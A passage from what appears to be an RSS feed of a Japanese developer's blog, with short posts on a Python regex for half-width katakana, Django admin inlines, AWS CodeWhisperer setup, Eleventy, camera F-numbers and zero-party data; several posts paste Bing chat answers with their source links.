&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; re
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;is_hankaku_kana&lt;/span&gt;(s):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; re&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;match&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;r&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;^[ｦ-ﾟ]+$&amp;#34;&lt;/span&gt;, s) &lt;span style="color:#f92672"&gt;is&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;この関数は、文字列sが半角カナの範囲（ｦからﾟ）にマッチするかどうかを判定します。⁶&lt;/p&gt;
&lt;p&gt;他の言語（JavaScriptやC#など）でも同様の方法が使えます。¹²&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/4/18&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) python 正規表現を使った文字列チェック【ひらがな・カタカナ &amp;hellip;. &lt;a href="https://qiita.com/mocha_xx/items/00c5a968f7069d8e092c"&gt;https://qiita.com/mocha_xx/items/00c5a968f7069d8e092c&lt;/a&gt; アクセス日時 2023/4/18.&lt;/li&gt;
&lt;li&gt;(2) Pythonで正規表現を使って数値/英字チェックを実装する (コピペ &amp;hellip;. &lt;a href="https://www.sukerou.com/2018/12/python.html"&gt;https://www.sukerou.com/2018/12/python.html&lt;/a&gt; アクセス日時 2023/4/18.&lt;/li&gt;
&lt;li&gt;(3) [JavaScript] 全角カナ、半角カナの判定を行う方法 - YoheiM .NET. &lt;a href="https://www.yoheim.net/blog.php?q=20191105"&gt;https://www.yoheim.net/blog.php?q=20191105&lt;/a&gt; アクセス日時 2023/4/18.&lt;/li&gt;
&lt;li&gt;(4) [C#共通関数] 半角カナチェックFunction - C#ちょこっとリファレンス. &lt;a href="https://csharp.programmer-reference.com/function-check-han-kana/"&gt;https://csharp.programmer-reference.com/function-check-han-kana/&lt;/a&gt; アクセス日時 2023/4/18.&lt;/li&gt;
&lt;li&gt;(5) 文字がひらがなか、カタカナか、漢字か、英数字か調べる - .NET &amp;hellip;. &lt;a href="https://dobon.net/vb/dotnet/string/ishiragana.html"&gt;https://dobon.net/vb/dotnet/string/ishiragana.html&lt;/a&gt; アクセス日時 2023/4/18.&lt;/li&gt;
&lt;li&gt;(6) python - 半角数字・文字のチェック方法 - スタック・オーバーフロー. &lt;a href="https://ja.stackoverflow.com/questions/90953/%E5%8D%8A%E8%A7%92%E6%95%B0%E5%AD%97-%E6%96%87%E5%AD%97%E3%81%AE%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF%E6%96%B9%E6%B3%95"&gt;https://ja.stackoverflow.com/questions/90953/%E5%8D%8A%E8%A7%92%E6%95%B0%E5%AD%97-%E6%96%87%E5%AD%97%E3%81%AE%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF%E6%96%B9%E6%B3%95&lt;/a&gt; アクセス日時 2023/4/18.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="半角カナ文字を判定するpypiパッケージはありますか"&gt;半角カナ文字を判定するPYPIパッケージはありますか？&lt;/h3&gt;
&lt;p&gt;半角カナ文字を判定する専用のPYPIパッケージは見つかりませんでしたが、標準ライブラリのunicodedataモジュールを使うことができます。¹&lt;/p&gt;</description></item><item><title>Django: Admin: ManyToManyField Inline (raw_id_fields)</title><link>https://hdknr.github.io/blogs/posts/2023/04/django-admin-manytomanyfield-inline-raw_id_fields/</link><pubDate>Sun, 16 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/django-admin-manytomanyfield-inline-raw_id_fields/</guid><description>&lt;h2 id="django-admin-manytomanyfield-inline-raw_id_fields"&gt;Django: Admin: ManyToManyField Inline (raw_id_fields)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/6119449/raw-id-fields-and-manytomany-in-django-admin"&gt;raw_id_fields and ManyToMany in Django admin&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;手順:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ManyToManyField を &lt;code&gt;exclude&lt;/code&gt; にいれて表示させないようにする&lt;/li&gt;
&lt;li&gt;Inline Admin を定義する. &lt;code&gt;model&lt;/code&gt; には &lt;code&gt;through&lt;/code&gt; を定義する&lt;/li&gt;
&lt;li&gt;対象モデルフィールドを &lt;code&gt;raw_id_fields&lt;/code&gt; に入れる&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AWS CodeWhisperer &amp; IAM Identity Center</title><link>https://hdknr.github.io/blogs/posts/2023/04/aws-codewhisperer-iam-identity-center/</link><pubDate>Sat, 15 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/aws-codewhisperer-iam-identity-center/</guid><description>&lt;h2 id="aws-codewhisperer--iam-identity-center"&gt;AWS CodeWhisperer &amp;amp; IAM Identity Center&lt;/h2&gt;
&lt;h3 id="codewhisperer"&gt;CodeWhisperer&lt;/h3&gt;
&lt;p&gt;IAM Identity Center:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IAM Identity Centerを有効にする&lt;/li&gt;
&lt;li&gt;ユーザーを追加する&lt;/li&gt;
&lt;li&gt;ユーザーのメアド認証&lt;/li&gt;
&lt;li&gt;パスワードリセットをメアドに送り、パスワード設定してログイン可能にする&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CodeWhisperer:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Codewhiper の利用を開始する&lt;/li&gt;
&lt;li&gt;CodeWhispererを IAM Identity Centerのアプリケーションに登録する&lt;/li&gt;
&lt;li&gt;IAM Identity Centerで登録したユーザーを CodeWhispererで使えるようにする&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;VSCode:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;AWS Toolkit プラグインを入れる&lt;/li&gt;
&lt;li&gt;CodeWhisperer の利用を開始:&lt;code&gt;Connect using AWS Identity Center&lt;/code&gt; で&lt;/li&gt;
&lt;li&gt;AWS Identity Center URLを入力 (&lt;a href="https://x-xxxxxxx.awsapps.com/start"&gt;https://x-xxxxxxx.awsapps.com/start&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;AWS Toolkitにアクセストークンを取得( 認証コードをブラウザに入力して、IAM Identity Centerにログイン)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="資料"&gt;資料&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/yaasita/articles/aa48bfa06b9a53"&gt;AWS IAM Identity CenterでIAMアカウントを統一する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.engineer.adways.net/entry/2022/10/21/150000"&gt;AWS IAM Identity Center(旧：AWS SSO)を使ってみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/amazon-codewhisperer-iam-identity-center/"&gt;Amazon CodeWhisperer を IAM Identity Center に統合させて使ってみた&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>eleventy/11ty</title><link>https://hdknr.github.io/blogs/posts/2023/04/eleventy/11ty/</link><pubDate>Sat, 15 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/eleventy/11ty/</guid><description>&lt;h2 id="eleventy11ty"&gt;eleventy/11ty&lt;/h2&gt;
&lt;p&gt;eleventyとは、&lt;strong&gt;静的サイトジェネレーター&lt;/strong&gt;の一種です¹²³。静的サイトジェネレーターとは、ビルドにより静的なHTMLファイルを生成するツールのことです³。eleventyの特徴は、以下のようなものがあります¹²³。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;テンプレートエンジンが自由に選べる&lt;/strong&gt;。NunjucksやLiquid、Markdownなど、様々なテンプレートエンジンを使うことができます¹²³。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CSSやJSファイル周りの処理がシンプル&lt;/strong&gt;。eleventyはCSSやJSファイルをそのままコピーするだけでなく、SassやBabelなどのプラグインを使って変換することもできます¹。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;データファイルを利用できる&lt;/strong&gt;。JSONやYAMLなどのデータファイルをテンプレートに渡して、動的にコンテンツを生成することができます¹³。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ページネーションやコレクションなどの機能が豊富&lt;/strong&gt;。ブログ記事やカテゴリーなどのコレクションを作成したり、ページネーションやタグなどの機能を利用したりすることができます¹³。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以上がeleventyについての情報です。興味があれば、公式サイトやドキュメントを参照してみてください。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/4/15&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) 静的サイトジェネレーター 11ty/eleventy をもっと使ってみる - Qiita. &lt;a href="https://qiita.com/yuzuru_xa/items/c2148a9ce31f852d8c9a"&gt;https://qiita.com/yuzuru_xa/items/c2148a9ce31f852d8c9a&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(2) 11ty(eleventy)で静的サイト構築 | 株式会社 エヴォワークス &amp;hellip;. &lt;a href="https://www.evoworx.co.jp/blog/11ty-static-site-generator/"&gt;https://www.evoworx.co.jp/blog/11ty-static-site-generator/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(3) 静的サイトジェネレーターEleventy 第1回 Eleventyとその特徴 &amp;hellip;. &lt;a href="https://www.codegrid.net/articles/2019-11ty-1/"&gt;https://www.codegrid.net/articles/2019-11ty-1/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>F値</title><link>https://hdknr.github.io/blogs/posts/2023/04/f%E5%80%A4/</link><pubDate>Sat, 15 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/f%E5%80%A4/</guid><description>&lt;h2 id="f値"&gt;F値&lt;/h2&gt;
&lt;p&gt;F値とは、カメラのレンズから入る光の量を数値化したもので、絞り値とも呼ばれます¹。&lt;/p&gt;
&lt;p&gt;F値が小さいと絞りが開き、光がたくさん入ります。&lt;/p&gt;
&lt;p&gt;F値が大きいと絞りが絞られ、光が少なく入ります²。&lt;/p&gt;
&lt;p&gt;F値は、F1.4、F2、F2.8、F4、F5.6、F8などの基準値があり、F値を一つずらすと光の量が2倍か半分になります¹⁴。&lt;/p&gt;
&lt;p&gt;F値は、写真の明るさやボケ具合に影響します³⁵。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/4/15&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) F値とは – F値と明るさ、ボケ量の関係 | 姫野ばら園 八ヶ岳農場. &lt;a href="https://himenobaraen.jp/column/camera/f_number"&gt;https://himenobaraen.jp/column/camera/f_number&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(2) 絞り(F値)とAモード | 撮影の基礎知識 | デジタル一眼カメラ α &amp;hellip;. &lt;a href="https://www.sony.jp/support/ichigan/enjoy/photo/word6.html"&gt;https://www.sony.jp/support/ichigan/enjoy/photo/word6.html&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(3) 【f値（絞り値）】の初心者向け解説とプロのおすすめ設定 &amp;hellip;. &lt;a href="https://camera-web.jp/beginner/fnumber"&gt;https://camera-web.jp/beginner/fnumber&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(4) 【初心者必見】F値で写真の表現が変わる！絞りと露出の基本と &amp;hellip;. &lt;a href="https://www.ortery.jp/ec-blog/camera-aperture/"&gt;https://www.ortery.jp/ec-blog/camera-aperture/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(5) F値（絞り）とは？初心者でも理解できる設定とシチュエーション. &lt;a href="https://goopass.jp/magazine/f-setting/"&gt;https://goopass.jp/magazine/f-setting/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="開放f値"&gt;開放F値&lt;/h3&gt;
&lt;p&gt;開放F値とは、そのレンズが使える最小のF値です¹。&lt;/p&gt;
&lt;p&gt;開放F値が小さくても撮影時の設定でF値を大きくもできるので、F値を調整して明るさやボケ具合を変えられます¹²。&lt;/p&gt;
&lt;p&gt;開放F値はレンズごとに異なり、レンズの製品名に表示されています²³。&lt;/p&gt;
&lt;p&gt;例えば、30mm F1.4というレンズは、開放F値がF1.4です²。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/4/15&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) &lt;a href="https://47prefectures.com/maximum-aperture/#:~:text=%E9%96%8B%E6%94%BEF%E5%80%A4%E3%81%A8%E3%81%AF%E3%80%81%E3%81%9D%E3%81%AE%E3%83%AC%E3%83%B3%E3%82%BA%E3%81%8C%E4%BD%BF%E3%81%88%E3%82%8B%E6%9C%80%E5%B0%8F%E3%81%AEF%E5%80%A4%E3%81%A7%E3%81%99%E3%80%82%20%E9%96%8B%E6%94%BEF%E5%80%A4%E3%81%8C%E5%B0%8F%E3%81%95%E3%81%8F%E3%81%A6%E3%82%82%E6%92%AE%E5%BD%B1%E6%99%82%E3%81%AE%E8%A8%AD%E5%AE%9A%E3%81%A7F%E5%80%A4%E3%82%92%E5%A4%A7%E3%81%8D%E3%81%8F%E3%82%82%E3%81%A7%E3%81%8D%E3%82%8B%E3%81%AE%E3%81%A7%E3%80%81F%E5%80%A4%E3%82%92%E8%AA%BF%E6%95%B4%E3%81%97%E3%81%A6%E6%98%8E%E3%82%8B%E3%81%95%E3%82%84%E3%83%9C%E3%82%B1%E5%85%B7%E5%90%88%E3%82%92%E5%A4%89%E3%81%88%E3%82%89%E3%82%8C%E3%81%BE%E3%81%99%E3%80%82,%E3%81%A7%E3%81%AF%E3%80%81%E3%81%9D%E3%82%82%E3%81%9D%E3%82%82F%E5%80%A4%E3%81%A8%E3%81%AF%E4%BD%95%E3%81%A7%E3%81%97%E3%82%87%E3%81%86%EF%BC%9F%20F%E5%80%A4%E3%81%A8%E3%81%AF%E5%85%89%E3%82%92%E5%8F%96%E3%82%8A%E8%BE%BC%E3%82%80%E5%BA%A6%E5%90%88%E3%81%84%E3%82%92%E6%95%B0%E5%80%A4%E5%8C%96%E3%81%97%E3%81%9F%E3%82%82%E3%81%AE%E3%81%A7%E3%80%81%E3%83%AC%E3%83%B3%E3%82%BA%E3%81%AE%E6%9C%89%E5%8A%B9%E5%BE%84%E3%82%92%E7%84%A6%E7%82%B9%E8%B7%9D%E9%9B%A2%E3%81%A7%E5%89%B2%E3%81%A3%E3%81%9F%E5%80%A4%E3%81%A7%E3%81%99%E3%80%82%20%E3%80%8E%E3%83%AC%E3%83%B3%E3%82%BA%E6%9C%89%E5%8A%B9%E5%BE%84%C3%B7%E7%84%A6%E7%82%B9%E8%B7%9D%E9%9B%A2%3DF%E5%80%A4%E3%80%8F%E3%81%A8%E3%81%84%E3%81%86%E5%BC%8F%E3%81%AA%E3%81%AE%E3%81%A7%E3%80%81%E3%83%AC%E3%83%B3%E3%82%BA%E3%81%AE%E5%BE%84%E3%81%8C%E5%A4%A7%E3%81%8D%E3%81%84%E3%81%BB%E3%81%A9%E5%85%89%E3%81%8C%E5%85%A5%E3%82%8B%E3%81%97%E3%80%81%E7%84%A6%E7%82%B9%E8%B7%9D%E9%9B%A2%E3%81%8C%E9%95%B7%E3%81%8F%E3%81%AA%E3%82%8B%E3%81%BB%E3%81%A9%E5%85%89%E3%81%8C%E5%85%A5%E3%82%8A%E3%81%AB%E3%81%8F%E3%81%8F%E3%81%AA%E3%82%8B%E3%81%A8%E3%81%84%E3%81%86%E6%84%8F%E5%91%B3%E3%81%A7%E3%81%99%E3%80%82"&gt;https://47prefectures.com/maximum-aperture/#:~:text=%E9%96%8B%E6%94%BEF%E5%80%A4%E3%81%A8%E3%81%AF%E3%80%81%E3%81%9D%E3%81%AE%E3%83%AC%E3%83%B3%E3%82%BA%E3%81%8C%E4%BD%BF%E3%81%88%E3%82%8B%E6%9C%80%E5%B0%8F%E3%81%AEF%E5%80%A4%E3%81%A7%E3%81%99%E3%80%82%20%E9%96%8B%E6%94%BEF%E5%80%A4%E3%81%8C%E5%B0%8F%E3%81%95%E3%81%8F%E3%81%A6%E3%82%82%E6%92%AE%E5%BD%B1%E6%99%82%E3%81%AE%E8%A8%AD%E5%AE%9A%E3%81%A7F%E5%80%A4%E3%82%92%E5%A4%A7%E3%81%8D%E3%81%8F%E3%82%82%E3%81%A7%E3%81%8D%E3%82%8B%E3%81%AE%E3%81%A7%E3%80%81F%E5%80%A4%E3%82%92%E8%AA%BF%E6%95%B4%E3%81%97%E3%81%A6%E6%98%8E%E3%82%8B%E3%81%95%E3%82%84%E3%83%9C%E3%82%B1%E5%85%B7%E5%90%88%E3%82%92%E5%A4%89%E3%81%88%E3%82%89%E3%82%8C%E3%81%BE%E3%81%99%E3%80%82,%E3%81%A7%E3%81%AF%E3%80%81%E3%81%9D%E3%82%82%E3%81%9D%E3%82%82F%E5%80%A4%E3%81%A8%E3%81%AF%E4%BD%95%E3%81%A7%E3%81%97%E3%82%87%E3%81%86%EF%BC%9F%20F%E5%80%A4%E3%81%A8%E3%81%AF%E5%85%89%E3%82%92%E5%8F%96%E3%82%8A%E8%BE%BC%E3%82%80%E5%BA%A6%E5%90%88%E3%81%84%E3%82%92%E6%95%B0%E5%80%A4%E5%8C%96%E3%81%97%E3%81%9F%E3%82%82%E3%81%AE%E3%81%A7%E3%80%81%E3%83%AC%E3%83%B3%E3%82%BA%E3%81%AE%E6%9C%89%E5%8A%B9%E5%BE%84%E3%82%92%E7%84%A6%E7%82%B9%E8%B7%9D%E9%9B%A2%E3%81%A7%E5%89%B2%E3%81%A3%E3%81%9F%E5%80%A4%E3%81%A7%E3%81%99%E3%80%82%20%E3%80%8E%E3%83%AC%E3%83%B3%E3%82%BA%E6%9C%89%E5%8A%B9%E5%BE%84%C3%B7%E7%84%A6%E7%82%B9%E8%B7%9D%E9%9B%A2%3DF%E5%80%A4%E3%80%8F%E3%81%A8%E3%81%84%E3%81%86%E5%BC%8F%E3%81%AA%E3%81%AE%E3%81%A7%E3%80%81%E3%83%AC%E3%83%B3%E3%82%BA%E3%81%AE%E5%BE%84%E3%81%8C%E5%A4%A7%E3%81%8D%E3%81%84%E3%81%BB%E3%81%A9%E5%85%89%E3%81%8C%E5%85%A5%E3%82%8B%E3%81%97%E3%80%81%E7%84%A6%E7%82%B9%E8%B7%9D%E9%9B%A2%E3%81%8C%E9%95%B7%E3%81%8F%E3%81%AA%E3%82%8B%E3%81%BB%E3%81%A9%E5%85%89%E3%81%8C%E5%85%A5%E3%82%8A%E3%81%AB%E3%81%8F%E3%81%8F%E3%81%AA%E3%82%8B%E3%81%A8%E3%81%84%E3%81%86%E6%84%8F%E5%91%B3%E3%81%A7%E3%81%99%E3%80%82&lt;/a&gt;. &lt;a href="https://bing.com/search?q=%e9%96%8b%e6%94%beF%e5%80%a4"&gt;https://bing.com/search?q=%e9%96%8b%e6%94%beF%e5%80%a4&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(2) デジタル一眼レフカメラの基礎知識 - レンズ | Enjoyニコン &amp;hellip;. &lt;a href="https://www.nikon-image.com/enjoy/phototech/manual/19/03.html"&gt;https://www.nikon-image.com/enjoy/phototech/manual/19/03.html&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(3) F値（カメラの絞り）・開放絞り値とは？（写真入り解説 &amp;hellip;. &lt;a href="https://www.mori-camera.com/basic/f.htm"&gt;https://www.mori-camera.com/basic/f.htm&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(4) 3分でわかるαレンズのヒミツ TIPS：F値 編 | ソニー - Sony. &lt;a href="https://www.sony.jp/feature/contents/a/3minutes_f-number_lp/"&gt;https://www.sony.jp/feature/contents/a/3minutes_f-number_lp/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>ゼロパーティデータ</title><link>https://hdknr.github.io/blogs/posts/2023/04/%E3%82%BC%E3%83%AD%E3%83%91%E3%83%BC%E3%83%86%E3%82%A3%E3%83%87%E3%83%BC%E3%82%BF/</link><pubDate>Sat, 15 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/%E3%82%BC%E3%83%AD%E3%83%91%E3%83%BC%E3%83%86%E3%82%A3%E3%83%87%E3%83%BC%E3%82%BF/</guid><description>&lt;h2 id="ゼロパーティデータ"&gt;ゼロパーティデータ&lt;/h2&gt;
&lt;p&gt;行動データにおいて、顧客が意図的・積極的に企業と共有するデータ&lt;/p&gt;
&lt;h3 id="ファーストパーティデータ企業が収集する行動データ"&gt;ファーストパーティデータ(企業が収集する行動データ)&lt;/h3&gt;
&lt;p&gt;行動データには、個人がサイトやアプリ全体、またはページ上で行う操作すべてが含まれます。
クリック操作や詳細な行動（マウスオーバー、スクロール、操作時間など）、セッション数、ユーザーのパーソナライズされた体験への関わり方なども含まれます。
ファーストパーティデータがあれば、ユーザーの関心や意図を示す貴重な指標を収集できます。
購入やダウンロードなどの取引データも、ファーストパーティデータに分類されます。&lt;/p&gt;
&lt;h3 id="サードパーティデータ企業が他団体から取得する行動データ"&gt;サードパーティデータ(企業が他団体から取得する行動データ)&lt;/h3&gt;
&lt;p&gt;自社保有していないサイトや情報源から取得、または購入したデータを指します。&lt;/p&gt;
&lt;p&gt;パーソナライズで通常使用されるサードパーティデータには、人口統計情報、企業データ、購入意思（新築住宅市場やソフトウェアの市場などの場合）と、CRM、POS、コールセンターなどから得た付加情報があります。&lt;/p&gt;
&lt;h3 id="ゼロパーティデータ顧客が意図的に企業に預けるデータ"&gt;ゼロパーティデータ(顧客が意図的に企業に預けるデータ)&lt;/h3&gt;
&lt;p&gt;Forrester Research社（英語）によって提唱された造語で、&lt;code&gt;明示的なデータ&lt;/code&gt;とも呼ばれます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;顧客が意図的・積極的に企業と共有するデータです。&lt;/li&gt;
&lt;li&gt;ゼロパーティデータには、メールプリファレンスのデータ、購入意思、個人的背景、ユーザーが企業に『自分』をどのように認識してほしいかなどが含まれます&lt;/li&gt;
&lt;li&gt;アンケート、聞き取りなど&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/hdknr/4199606562f115bf82bbe6a1eb44a39e"&gt;チャットコマース&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="参照"&gt;参照&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;GDPR:(General Data Protection Regulation：一般データ保護規則）(EU加盟国に同一に直接効力を持つ)&lt;/li&gt;
&lt;li&gt;CCPA:(カリフォルニア州消費者プライバシー法: California Consumer Privacy Act)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="bing"&gt;Bing&lt;/h2&gt;
&lt;p&gt;ゼロパーティデータとは、顧客が意図的・積極的に企業と共有するデータのことです¹。顧客の趣味嗜好や興味関心の情報が含まれ、パーソナライズやキャンペーンを推進するのに役立ちます²³⁴。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/4/15&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) ゼロパーティデータとは？ | セールスフォース・ドットコム. &lt;a href="https://bing.com/search?q=%e3%82%bc%e3%83%ad%e3%83%91%e3%83%bc%e3%83%86%e3%82%a3%e3%83%87%e3%83%bc%e3%82%bf"&gt;https://bing.com/search?q=%e3%82%bc%e3%83%ad%e3%83%91%e3%83%bc%e3%83%86%e3%82%a3%e3%83%87%e3%83%bc%e3%82%bf&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(2) ゼロパーティデータとは？ | セールスフォース・ジャパン. &lt;a href="https://www.salesforce.com/jp/resources/articles/what-is-zero-party-data/"&gt;https://www.salesforce.com/jp/resources/articles/what-is-zero-party-data/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(3) 今さら聞けない話題の「ゼロパーティ・データ」とは？ | JP &amp;hellip;. &lt;a href="https://www.criteo.com/jp/blog/what-is-zero-party-data/"&gt;https://www.criteo.com/jp/blog/what-is-zero-party-data/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(4) DX時代のカギを握る「ゼロパーティデータ」とは？いま重要視さ &amp;hellip;. &lt;a href="https://www.powerweb.co.jp/blog/entry/2022/03/15/100000"&gt;https://www.powerweb.co.jp/blog/entry/2022/03/15/100000&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ゼロパーティデータは、様々な方法で活用できます。例えば、¹⁴⁵&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;商品やサービスの改善に生かす&lt;/li&gt;
&lt;li&gt;業務改善に生かす&lt;/li&gt;
&lt;li&gt;新商品の開発に生かす&lt;/li&gt;
&lt;li&gt;パーソナライズやキャンペーンの強化に生かす&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ゼロパーティデータを活用するには、顧客IDや個人情報と紐づけて蓄積し、セグメントとして切ることが必要です²。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/4/15&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) ゼロパーティデータとは？ゼロパーティデータが重視される &amp;hellip;. &lt;a href="https://bing.com/search?q=%e3%82%bc%e3%83%ad%e3%83%91%e3%83%bc%e3%83%86%e3%82%a3%e3%83%87%e3%83%bc%e3%82%bf%e3%81%ae%e6%b4%bb%e7%94%a8%e6%96%b9%e6%b3%95"&gt;https://bing.com/search?q=%e3%82%bc%e3%83%ad%e3%83%91%e3%83%bc%e3%83%86%e3%82%a3%e3%83%87%e3%83%bc%e3%82%bf%e3%81%ae%e6%b4%bb%e7%94%a8%e6%96%b9%e6%b3%95&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(2) ゼロパーティデータの概要からおすすめの活用法まで. &lt;a href="https://data.wingarc.com/allabout_zero-party-data-39612"&gt;https://data.wingarc.com/allabout_zero-party-data-39612&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(3) ゼロパーティデータとは？重要視すべき3つの理由と収集方法を &amp;hellip;. &lt;a href="https://www.transcosmos-cotra.jp/zero-party-data"&gt;https://www.transcosmos-cotra.jp/zero-party-data&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(4) Cookieレス時代に「ゼロパーティデータ」が生み出す真の顧客 &amp;hellip;. &lt;a href="https://www.ever-rise.co.jp/dx-blog/zero-party-data/"&gt;https://www.ever-rise.co.jp/dx-blog/zero-party-data/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;li&gt;(5) ゼロパーティデータとは？ | セールスフォース・ジャパン. &lt;a href="https://www.salesforce.com/jp/resources/articles/what-is-zero-party-data/"&gt;https://www.salesforce.com/jp/resources/articles/what-is-zero-party-data/&lt;/a&gt; アクセス日時 2023/4/15.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ゼロパーティデータを収集するには、顧客に対価を提供して、自発的に情報を提供してもらうことが必要です¹²。対価としては、割引やクーポン、プレゼントなどがあります。また、設問内容や回答方法を吟味して、顧客の興味やニーズに合わせた内容にすることも大切です¹。&lt;/p&gt;</description></item><item><title>チャットコマース</title><link>https://hdknr.github.io/blogs/posts/2023/04/%E3%83%81%E3%83%A3%E3%83%83%E3%83%88%E3%82%B3%E3%83%9E%E3%83%BC%E3%82%B9/</link><pubDate>Sat, 15 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/%E3%83%81%E3%83%A3%E3%83%83%E3%83%88%E3%82%B3%E3%83%9E%E3%83%BC%E3%82%B9/</guid><description>&lt;h2 id="チャットコマース"&gt;チャットコマース&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/hdknr/1613861645cad5daf541b5f10dfb52ef"&gt;ゼロパーティデータ&lt;/a&gt;の収集手段のひとつ&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="bing"&gt;Bing&lt;/h3&gt;
